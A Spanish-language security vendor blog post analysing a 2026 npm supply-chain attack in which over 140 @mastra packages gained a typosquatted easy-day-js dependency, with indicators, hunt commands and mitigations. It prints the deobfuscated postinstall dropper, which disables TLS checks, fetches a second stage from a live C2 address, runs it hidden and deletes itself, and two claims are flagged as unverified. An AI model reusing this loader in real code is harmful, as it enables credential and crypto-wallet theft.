Ataque a Mastra npm: cómo una sola línea de dependencia distribuyó malware

Ir directamente al resumen generado por IA de esta entrada del blog

La versión resumida

¿Qué: El 17 de junio de 2026, un atacante utilizó una cuenta de administrador que había sido secuestrada para volver a publicar más de 140 paquetes en todo el @mastra npm scope, el marco de trabajo para agentes de IA del equipo responsable de Gatsby. El código de la biblioteca no se modificó; en cada versión solo se añadía una línea de dependencia que apuntaba a easy-day-js, un «typosquat» de dayjs que ejecuta una carga maliciosa remota al instalarlo.

Repercusión: Se han vuelto a publicar más de 140 paquetes en unos 88 minutos (las cifras oscilan entre más de 140 y 144). El proyecto registra decenas de millones de descargas al mes (los proveedores estiman que el total ronda los 29 millones; @mastra/core solo es de unos 4 millones al mes, unos 918 000 a la semana), aunque el alcance real es más limitado, ya que solo estás expuesto si lo instalaste a partir del 17 de junio. La carga maliciosa es un programa multiplataforma diseñado para robar información y carteras de criptomonedas que persiste en Windows, macOS y Linux y envía señales a la infraestructura del atacante.

Estado: Parece que la limpieza de npm ya está en marcha: easy-day-js Se ha eliminado la cuenta ehindero como propietaria, se han revertido las últimas etiquetas maliciosas y Mastra ha publicado versiones limpias actualizadas. Sin embargo, es posible que los servidores espejo, las cachés, los archivos de bloqueo, las instantáneas de paquetes más pequeños y los entornos ya instalados sigan conteniendo las versiones comprometidas. Trata cualquier host que haya instalado una versión afectada @mastra Considera que cualquier paquete recibido a partir del 17 de junio está comprometido hasta que se demuestre lo contrario.

Gravedad: Alta. El malware se ejecuta durante la instalación de npm, antes de cualquier importación, por lo que basta con actualizar el archivo de bloqueo o realizar una instalación nueva para verse afectado. No se trata de un único paquete malicioso que se bloquea y se olvida; es un patrón repetible: contaminar una dependencia transitiva, dejar limpio el código del paquete de confianza y dejar que los hooks de instalación hagan el trabajo.

Por qué es importante para la gestión de paquetes: no se introdujo ningún malware en el propio código de Mastra. El atacante añadió una línea de dependencia y eliminó la procedencia SLSA habitual del proyecto, por lo que si solo se revisa el código fuente del paquete mencionado, se pasa por alto, ya que el código malicioso se encuentra en una dependencia inferior. Esta es la brecha que SecureChain subsana, al analizar las nuevas versiones en el momento de su incorporación (las diferencias entre versiones, las dependencias nuevas o no utilizadas, los ganchos de instalación y las cargas útiles ofuscadas) antes de que una versión sea considerada fiable en las fases posteriores.

Haz esto ahora mismo: Comprueba si hay algún archivo de bloqueo en @mastra paquete o easy-day-js, considerar comprometida cualquier máquina en la que se haya instalado, rotar las credenciales expuestas y auditar las carteras de criptomonedas, bloquear las dos direcciones C2 y fijar Mastra en la última versión respaldada por provenance.

¿Me afecta esto?

Es posible que te veas afectado si tu organización:

¿Has instalado alguno? @mastra/* paquete, el de nivel superior mastra paquete, o create-mastra a partir del 17 de junio de 2026
Ejecuta «npm install» en los procesos de integración continua (CI), compilación o implementación sin desactivar los scripts de instalación
Actualiza automáticamente las dependencias o utiliza rangos de versiones que se resuelven con la última versión compatible en el momento de la instalación
Crea agentes o aplicaciones de IA en Mastra, lo que significa que es probable que los hosts afectados contengan claves de API de LLM, credenciales de la nube y tokens de bases de datos
Consume cualquier paquete que, a su vez, dependa de un componente de Mastra, ya que el riesgo se transmite de forma transitiva.
¿Hay extensiones de navegador de carteras de criptomonedas instaladas en un equipo de desarrollador en el que se ejecutó una instalación afectada?
Considera que un editor conocido, una instalación «verde» o una dependencia que anteriormente estaba limpia son prueba de que una versión es segura

Un buen punto de partida es comprobar si la dependencia «dropper» se ha resuelto en algún punto de tu árbol:

npm ls easy-day-js

grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

A continuación, busca en los hosts y en los runners los rastros que deja el dropper:

ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null

find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null

Si alguna de las búsquedas arroja algún resultado, no borres los archivos ni renueves las claves todavía: conserva primero el host. El hook de instalación descargó su carga útil real en tiempo de ejecución y se autodestruyó, por lo que el dropper del disco no es toda la historia, y te interesará obtener los registros y el proceso generado antes de empezar a limpiar.

¿Qué es el «Mastra Attack» de easy-day-js?

Mastra es un marco de trabajo de código abierto en TypeScript para crear agentes de IA, flujos de trabajo de varios pasos y canalizaciones RAG, con integraciones nativas con los principales proveedores de modelos de lenguaje a gran escala (LLM), bases de datos vectoriales y destinos de implementación en la nube. En conjunto, sus paquetes suman decenas de millones de instalaciones al mes. Ese alcance, sumado al hecho de que los entornos de Mastra suelen contener precisamente las credenciales que busca un atacante, es lo que hizo que una sola cuenta robada tuviera tanto valor.

Así es como ocurrió. Un atacante se hizo con el control de la cuenta de npm «ehindero», un antiguo colaborador de Mastra cuyo acceso al ámbito nunca se había revocado y que, según se informa, llevaba inactiva unos 16 meses. npm no cuenta con un sistema de caducidad de permisos de ámbito que limite el acceso de este tipo, por lo que una cuenta de colaborador inactiva durante mucho tiempo seguía siendo una clave activa para todo el espacio de nombres. En la madrugada del 17 de junio, el atacante ejecutó lo que claramente era un script: recorrió el @mastra organizó y volvió a publicar los paquetes uno tras otro, más o menos por orden de descarga, en grupos muy compactos. Los primeros 32 paquetes, más o menos, se descargaron en unos 27 minutos; la descarga general de más de 140 se prolongó durante unos 88 minutos.

Todos los paquetes afectados contenían el código real y sin modificar de la biblioteca de Mastra, con una nueva línea en el archivo package.json: una dependencia de easy-day-js. Esa es toda la concesión por parte de Mastra. Una sola línea.

easy-day-js Es el arma propiamente dicha, y se encuentra un nivel más abajo. Se trata de un «typosquat» de dayjs, una biblioteca de fechas con más de 40 millones de descargas semanales, copiada con tal precisión que pasa desapercibida a simple vista: misma descripción, mismos metadatos del autor, misma página de inicio y misma URL del repositorio, e incluso incluye el archivo dayjs.min.js original. La única diferencia significativa en la versión maliciosa es un único archivo añadido y un gancho de postinstalación que lo ejecuta.

Esta es la parte en la que vale la pena detenerse. Los paquetes que probablemente revisarías en primer lugar son los @mastra Estos paquetes tienen un código de biblioteca limpio. El malware se encuentra en una dependencia que la mayoría de esos paquetes ni siquiera importan. No realiza ninguna función para la biblioteca. Su única función es ser resuelto e instalado, lo cual es suficiente para activar el gancho.

Cómo una sola línea llegó a todo el mundo: el truco de la resolución de versiones

El atacante llevó a cabo la operación de forma discreta un día antes. El 16 de junio a las 07:05 UTC, una cuenta relacionada, sergey2016, publicó [email protected] como un clon de dayjs limpio y totalmente funcional, sin ningún gancho de instalación. Un señuelo. Esa versión limpia es la que se incluye en los paquetes de Mastra, declarada como:

"easy-day-js": "^1.11.21"

El símbolo de intercalación es la clave. Un rango con este símbolo indica a npm que, en el momento de la instalación, utilice la última versión compatible, y no la versión exacta que se haya especificado. Así que cuando [email protected] Se puso en marcha a la 01:01 UTC del 17 de junio con el dropper, y cada nueva instalación de un paquete Mastra afectado comenzó a descargar automáticamente la versión maliciosa. No se produjo ningún otro cambio en ningún @mastra Se necesitaba el paquete. El veneno se colocó en su sitio y luego se sustituyó once minutos antes de que comenzara la republicación en todo el sistema.

Hay un detalle técnico que indica que no se trató de una acción improvisada. Socket informó de que se había detectado una muestra idéntica del cargador en entornos de pruebas públicos alrededor del 29 de mayo, aproximadamente 19 días antes de la publicación de Mastra. Se trataba de una herramienta reutilizada, no de una acción puntual.

Cada publicación maliciosa también omitía el certificado de procedencia SLSA que normalmente genera el pipeline de GitHub Actions de Mastra, y varias de ellas activaron una comprobación de discrepancia en los metadatos, ya que el repositorio declarado «mastra-ai/mastra» no avalaba el artefacto publicado. Ambos indicios apuntan en la misma dirección: una publicación manual desde fuera de la integración continua (CI) del proyecto, utilizando un token con derechos para toda la organización.

El interior del gotero

El archivo malicioso que se encuentra en [email protected] Es un script de unos 4,5 KB que se ejecuta mediante un gancho de postinstalación:

"scripts": {
  "postinstall": "node setup.cjs --no-warnings"
}

En --no-warnings Esta opción suprime las advertencias del tiempo de ejecución de Node que, de otro modo, podrían delatar a quien esté observando el proceso de instalación. El propio script está ofuscado mediante una matriz de cadenas con alfabeto personalizado y rotadas, protegida por un decodificador base64, con una comprobación de integridad aritmética; este tipo de capas tiene como objetivo burlar el análisis estático que evalúa la matriz antes de que se ejecute la rotación. Una vez reconstruida, la rutina de instalación hace lo siguiente:

// 1. Disable TLS certificate validation for the whole process
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {
  try {
    const stage2Url = 'https://23.254.164.92:8000/update/49890878';
    const stage2C2  = '23.254.164.123:443';

    // 2. Drop marker/beacon files (home or temp dir, depending on the variant)
    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');
    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);

    // 3. Fetch the second stage over the now-unverified TLS connection
    const payload = await (await fetch(stage2Url)).text();

    // 4. Write it to a random 24-hex-character filename
    const name = crypto.randomBytes(12).toString('hex') + '.js';
    const dest = path.join(os.homedir(), name);
    fs.writeFileSync(dest, payload, 'utf-8');

    // 5. Run it detached and hidden, so it outlives the install
    child_process.spawn(process.execPath, [dest, stage2C2], {
      cwd: os.homedir(), detached: true, stdio: 'ignore', windowsHide: true
    }).unref();
  } catch {}
  finally {
    // 6. Delete the dropper to remove the on-disk evidence
    fs.rmSync(__filename, { force: true });
  }
})();

Cada paso tiene su importancia. Configuración NODE_TLS_REJECT_UNAUTHORIZED=0 permite que el dropper se comunique con una dirección IP desnuda en el puerto 8000 sin ningún certificado válido. La carga útil real nunca se incluye dentro del archivo tar, sino que se descarga en el momento de la instalación, por lo que el artefacto publicado sigue siendo pequeño y tiene un aspecto limpio. detached: true además .unref() significa que el proceso creado sigue ejecutándose después de que finalice la orden «npm install», y windowsHide: true lo mantiene fuera de la pantalla en Windows. El bloque «finally» elimina setup.cjs, por lo que al revisar más tarde el directorio «node_modules» no se encuentra nada.

Hay un pequeño matiz que conviene tener en cuenta: los proveedores no se ponen de acuerdo sobre si los archivos de marcador y la carga útil preparada se guardan en el directorio de inicio o en el directorio temporal del sistema operativo. Comprueba ambos. El comportamiento es el mismo en ambos casos.

La segunda fase es donde se produce el daño. Se trata de un programa de robo de información multiplataforma que recopila el historial del navegador, recopila datos de más de 160 extensiones de navegador de carteras de criptomonedas, instala mecanismos de persistencia en Windows, macOS y Linux, y exfiltra la información al servidor C2. Además, espera recibir comandos, incluido un módulo de descarga y ejecución obtenido de una URL proporcionada por el atacante. En un host de compilación de Mastra, lo más valioso a su alcance suele ser el entorno: claves de API de LLM, credenciales de la nube, tokens del registro y de CI.

Si has instalado una versión afectada, da por hecho que el servidor está comprometido, no solo el árbol de paquetes. El gancho es solo una pequeña parte del problema.

El aspecto que debería cambiar tu forma de ver la admisión

Es tentador archivar esto como «otro caso de typosquatting» y pasar página. Pero eso es pasar por alto lo que realmente ha echado por tierra las defensas en este caso.

Mastra hace las cosas bien en su mayor parte. Distribuye versiones reales desde la integración continua (CI) a través del flujo de «editores de confianza» de npm, y esas versiones cuentan con procedencia SLSA. El problema es que Mastra generaba la procedencia, pero no la exigía en el momento de la instalación. Así pues, un token estándar podía publicar una versión sin certificación, y ningún sistema posterior la rechazaba. Una política que exigiera la procedencia de un «editor de confianza», la verificación de la firma o las certificaciones habría rechazado todos los paquetes de esta oleada.

Ahora fíjate en lo que habría visto un revisor de código. Selecciona cualquier archivo afectado @mastra El paquete y lee el código fuente de la biblioteca. No se ha modificado. Hay exactamente una nueva línea en el archivo package.json: una dependencia de un paquete cuyo nombre parece el de una biblioteca de fechas, que el paquete nunca importa. Si tu control de admisión solo revisa el código fuente de la propia biblioteca del paquete mencionado, no detectará ningún problema, ya que no hay nada incorrecto en ese código fuente.

Esa es la brecha, y tiene la misma forma que el problema de «el mantenedor publica código fuente contaminado» que subyace a incidentes como el de Tiledesk: la violación de la integridad se produce antes o un nivel por encima de donde apunta la señal de confianza. La autenticación de dos factores (2FA) y un emisor conocido confirman que la versión procede de la cuenta auténtica. No indican si la versión ha incorporado una dependencia maliciosa, ni si se ha distribuido sin la procedencia que su propio proceso de compilación suele generar.

Esta es precisamente la laguna que SecureChain ha sido diseñado para subsanar. Dado que analiza las diferencias entre versiones durante el proceso de incorporación, en lugar de confiar en el evento de publicación, examina qué ha cambiado realmente entre la última versión limpia de Mastra y esta: una nueva dependencia sin usar añadida a un paquete maduro, la eliminación de un certificado de procedencia y, un paso más allá, un gancho de postinstalación que ejecuta una carga útil ofuscada.

Esas son precisamente las categorías que deberían hacer saltar las alarmas —una nueva dependencia sin utilizar, un gancho de ejecución durante la instalación, ofuscación, recuperación en tiempo de ejecución y comportamiento de exfiltración— antes de que la versión se distribuya a los usuarios finales.

El ataque de Mastra dejó una cosa clara: un paquete aparentemente limpio puede seguir conteniendo malware	Consigue SecureChain
SecureChain analiza los componentes de código abierto antes de su instalación, incluyendo diferencias sospechosas, dependencias nuevas o no utilizadas, ganchos de instalación ocultos y comportamientos de exfiltración, y posteriormente los protege hasta el final de su ciclo de vida (EOL).

Mitigación

Tómatelo como una razón para revisar la importación y la exposición en la máquina de revelado, no solo para aumentar el número de versión.

Comprueba tu árbol de dependencias Ejecutar npm ls easy-day-js y busca en tus archivos de bloqueo (package-lock.json, yarn.lock, pnpm-lock.yaml) lo siguiente: @mastra, mastra, y easy-day-js. Hazlo en todos los repositorios y en los equipos de los desarrolladores, no solo en la integración continua (CI). Basta con un rango de fechas y una instalación realizada a partir del 17 de junio para haber descargado la carga maliciosa.
Treat affected hosts as compromised If an affected version installed anywhere, the dropper disabled TLS validation in-process and launched a detached child fetched at runtime. Isolate the host, hunt for and kill any detached Node process spawned around install time, remove the random <24-hex>.js file and the .pkg_history / .pkg_logs markers from the home or temp directory, and check for the OS-specific persistence artifacts the second stage installs. Preserve logs before you clean.
Rota las claves expuestas y revisa los monederos. Rota todas las credenciales a las que se pueda acceder desde el host o el runner: claves de la nube, claves de API de LLM, tokens de registro y de CI, claves SSH y cualquier dato contenido en las variables de entorno que la compilación pueda leer. Dado que la segunda fase tiene como objetivo las extensiones de monederos de criptomonedas, audita todos los monederos de los equipos de los desarrolladores afectados, vigila las transacciones no autorizadas y cambia las frases de semilla de los monederos de alto valor por otras nuevas.
Bloquea el C2 y revisa las salidas. Bloquea el tráfico saliente hacia 23.254.164.92 y 23.254.164.123, y revisa los registros del proxy, el cortafuegos y NetFlow en busca de conexiones a cualquiera de estas direcciones desde las 01:12 UTC del 17 de junio. El bloqueo de direcciones IP tiene como objetivo la limpieza y la revisión histórica, no constituye una defensa duradera, ya que la infraestructura va cambiando.
Fijar a las versiones con procedencia verificada y bloquear el «typosquat» Fija cada dependencia de Mastra a la última versión publicada a través de GitHub Actions con información de procedencia, valida tus archivos de bloqueo y añade easy-day-js a tu lista de bloqueos del registro. Incluye tanto 1.11.21 como 1.11.22. El señuelo sigue estando controlado por el atacante, aunque no contuviera el dropper.
Desactivar los scripts de instalación de forma predeterminada npm install --ignore-scripts neutraliza este tipo concreto de dropper que se ejecuta tras la instalación. Adóptalo como valor predeterminado en la integración continua (CI) siempre que sea posible, y documenta la breve lista de dependencias que realmente necesitan scripts de compilación, de modo que una excepción sea una decisión deliberada y no la norma tácita.
Aplicar la verificación de firmas y procedencia. Exigir que las dependencias de alto riesgo y de origen propio cuenten con procedencia, firmas o certificaciones de un editor de confianza. Todas las versiones de esta oleada carecían de su procedencia habitual, por lo que una política de instalación con verificación las habría rechazado. También resulta útil establecer un periodo de espera para las versiones recién publicadas, ya que muchas versiones maliciosas se detectan en cuestión de horas.

Detección

Ningún resultado de análisis por sí solo confirma la exposición. Las pruebas se encuentran dispersas en archivos de bloqueo, registros de instalación, sistemas de archivos del host, registros de red y listados de procesos. Las señales de comportamiento también perduran más que las atómicas, ya que el operador renueva la infraestructura y aleatoriza los nombres de los archivos.

Entre las señales útiles se incluyen:

Un proceso de «setup.cjs» de Node.js que se ejecuta durante la instalación de npm
NODE_TLS_REJECT_UNAUTHORIZED=0, establecido por un script de instalación
Un proceso hijo independiente de Node generado durante la instalación o justo después de ella, sin salida en consola
Los archivos de registro ~/.pkg_history y ~/.pkg_logs, en el directorio de inicio o en el directorio temporal
Un archivo .js aleatorio de 24 caracteres hexadecimales en el directorio de inicio o en el directorio temporal
Conexiones salientes desde un servidor de compilación o un equipo de desarrollo hacia 23.254.164.92:8000 o 23.254.164.123:443
Archivos de persistencia específicos del sistema operativo denominados «NvmProtocal», «com.nvm.protocal.plist» o «nvmconf.service» en Windows, macOS y Linux, respectivamente [verificar los nombres exactos antes de publicar; información procedente de fuentes secundarias].
Cualquiera @mastra/* o mastra una versión con fecha del 17 de junio de 2026 en un archivo de bloqueo, especialmente si se ha publicado sin procedencia SLSA
easy-day-js que aparezca en cualquier parte de un árbol resuelto
Según se informa, Microsoft Defender for Endpoint identifica la carga útil durante la instalación como «Trojan:JS/ObfusNpmJs», por lo que una alerta de EDR relacionada con esa firma durante una instalación de npm debe considerarse una pista sólida [verificar antes de publicar].

Indicadores clave de compromiso:

[email protected] como el «dropper» utilizado con fines maliciosos
[email protected] como señuelo «limpio», que sigue bajo el control del atacante
Las cuentas de publicación: ehindero para el @mastra paquetes, y a sergey2016 por easy-day-js
C2 y carga útil: https://23.254.164.92:8000/update/49890878 y 23.254.164.123:443
El disparador de instalación: «postinstall»: «node setup.cjs –no-warnings»

Estas comprobaciones son un punto de partida, no un certificado de buena salud.

Lista de verificación de medidas correctoras priorizadas

Analizar archivos de bloqueo y árboles: buscar en todos los repositorios y en los equipos de los desarrolladores @mastra, mastra, create-mastra, y easy-day-js.
Equipos afectados por la cuarentena: aísla todo aquello en lo que se haya ejecutado una instalación afectada antes de realizar la limpieza.
Conserva las pruebas: guarda los registros de instalación, el historial de procesos y los archivos de marca antes de eliminar los artefactos.
Rotación de claves secretas: credenciales de la nube, de modelos de lenguaje grande (LLM), del registro, de integración continua (CI) y de SSH a las que se puede acceder desde cualquier host afectado.
Revisar las carteras: comprueba las carteras de criptomonedas y las extensiones en los equipos de los desarrolladores afectados, y cambia las carteras de gran valor por nuevas frases de semillas.
Eliminar la persistencia: comprueba y elimina la persistencia específica del sistema operativo que la segunda fase instala en Windows, macOS y Linux.
El bloque C2 y el «typosquat»: bloquear las direcciones 23.254.164.92 y 23.254.164.123, e incluir ambas en la lista de direcciones bloqueadas easy-day-js versiones.
Fijar y verificar: fijar Mastra a la última versión con procedencia verificada y exigir certificados de autenticidad durante la instalación.
Entrada de Harden: por defecto a --ignore-scripts Siempre que sea posible, añade un periodo de espera para las nuevas versiones y considera las incorporaciones de dependencias nuevas o no utilizadas como una señal en sí mismas.

Por qué esto va más allá de una simple campaña

El ataque Mastra no resulta interesante por su magnitud, aunque esta es real. Lo interesante es el lugar en el que se encontraba la modificación maliciosa y lo insignificante que era. Una sola línea en un paquete que, por lo demás, era totalmente legítimo, que apuntaba a una dependencia situada a un paso de distancia y que se ejecutaba antes de que nadie importara nada.

Esto contradice los supuestos en los que se basan la mayoría de los controles de admisión. Que un editor sea conocido no es garantía de nada. Una instalación «verde» tampoco lo es. Un paquete cuyo código fuente sea limpio tampoco es garantía de nada, porque el código fuente que estás leyendo y la dependencia que causa el daño no son el mismo artefacto. Y la firma o la autenticación de dos factores (2FA) confirman quién lo ha publicado, no qué ha incorporado.

La postura defendible consiste en analizar la versión completa, no solo el paquete principal: qué ha cambiado desde la última versión, si ha aparecido una nueva dependencia y si realmente hay algo que la utilice, si se ejecutan los hooks de instalación, si la compilación incluía la procedencia que suele incluir y si hay algún elemento del árbol que recupere y ejecute código durante la instalación. Ese es el razonamiento que se aplica en el momento de la recepción, y es lo que permite detectar un cambio de dependencia de una sola línea que tanto la revisión del código fuente como la confianza en el editor pasan por alto.

Ese es el problema que SecureChain está diseñado para resolver. Ofrece a las organizaciones una fuente verificada de componentes de código abierto, con detección de malware, inspección a nivel de código fuente, trazabilidad y corrección continua de vulnerabilidades CVE a lo largo de todo el ciclo de vida del componente. En el caso de las nuevas versiones de los paquetes, analiza las diferencias entre versiones y señala los cambios sospechosos —como dependencias nuevas o no utilizadas, ganchos de ejecución durante la instalación, cargas útiles ofuscadas y comportamientos de exfiltración— antes de que se les conceda confianza en las fases posteriores del proceso.

En un caso como el de Mastra, en el que el paquete portador se publica sin problemas y el malware se encuentra en una dependencia inferior, esa vista a nivel de diferencias es lo único que se interpone entre el evento de publicación y tu compilación.

Descubre SecureChain ahora →

PREGUNTAS FRECUENTES

¿Eran los propios paquetes de Mastra maliciosos? No. El código de su biblioteca no sufrió cambios. Cada versión afectada añadió una única dependencia de easy-day-js, y ese paquete contenía el archivo de instalación. El malware se ejecutó un nivel más abajo durante la instalación, por lo que es necesario revisar el @mastra El código fuente de la biblioteca por sí solo no es suficiente.

Solo he actualizado mi archivo «lockfile»; nunca he importado un paquete de Mastra. ¿Estoy a salvo? Probablemente no. La carga útil se ejecuta desde un gancho de postinstalación durante el proceso «npm install», antes de cualquier importación. Al resolver e instalar un paquete afectado, o al permitir que un rango de caracteres «caret» extraiga [email protected], basta con eso para activarlo.

¿Por qué se propagó el malware a través de una versión limpia utilizada como señuelo? Los paquetes de Mastra dependían de «easy-day-js»: «^1.11.21», una versión limpia publicada un día antes. El rango con el símbolo de intercalación se resuelve con la última coincidencia en el momento de la instalación, por lo que, una vez que la versión maliciosa 1.11.22 quedó disponible, las nuevas instalaciones la descargaron automáticamente sin necesidad de realizar ningún cambio adicional en ningún paquete de Mastra.

¿Protegió a alguien aquí la trazabilidad o la firma de SLSA? Solo si se hubiera aplicado. Mastra generaba trazabilidad en las publicaciones de CI, pero las versiones maliciosas la omitían. Una política de instalación que verificara las firmas o exigiera certificaciones habría rechazado las versiones afectadas.

¿Quién estaba detrás de ello? La autoría no está confirmada. Snyk señaló que la técnica utilizada —un dropper que se autoelimina en el momento de la instalación— se asemeja al ataque a Axios npm ocurrido a principios de 2026, que Microsoft Threat Intelligence atribuyó al actor al que identifica como Sapphire Sleet (BlueNoroff); sin embargo, dejó claro que se trata de un patrón digno de mención, no de un vínculo confirmado con este incidente. Hay que considerar el método como el elemento contra el que hay que defenderse, no el nombre de la marca.

¿Cuál es la medida de mitigación más rápida? Desactiva los scripts de instalación siempre que puedas. npm install --ignore-scripts bloquea el gancho de postinstalación y neutraliza esta ruta específica del troyano de dependencia. Combínalo con la fijación a versiones respaldadas por provenance y la inclusión en listas negras easy-day-js.

Ejecuto muy pocos paquetes de npm directamente. ¿Podría estar expuesto de todos modos? Es posible. El riesgo es transitivo. Si algún elemento de tu árbol depende de un componente de Mastra que haya sido vulnerado, has heredado la dependencia de easy-day-js junto con ello.

¿Cuál es la solución más importante a largo plazo? Dejar de considerar que un editor conocido o un paquete que parece limpio sea sinónimo de seguridad, y trasladar las decisiones de confianza a la fase de admisión. Revisar las diferencias entre versiones, señalar las dependencias nuevas y no utilizadas, exigir la procedencia e inspeccionar lo que se ejecuta durante la instalación, en lugar de limitarse a analizar el artefacto final una vez que ya se encuentra en tu entorno.

Fuentes

Resumen

Nombre del artículo

Ataque a Mastra npm: cómo una sola línea de dependencia distribuyó malware

Descripción

La vulnerabilidad «Mastra npm» incorporó «easy-day-js» a más de 140 paquetes, lo que provocó la instalación de malware durante el proceso de instalación a través de una dependencia afectada por un «typosquatting».

Autor

Chris DeMars

Nombre del editor

TuxCare

Logotipo de la editorial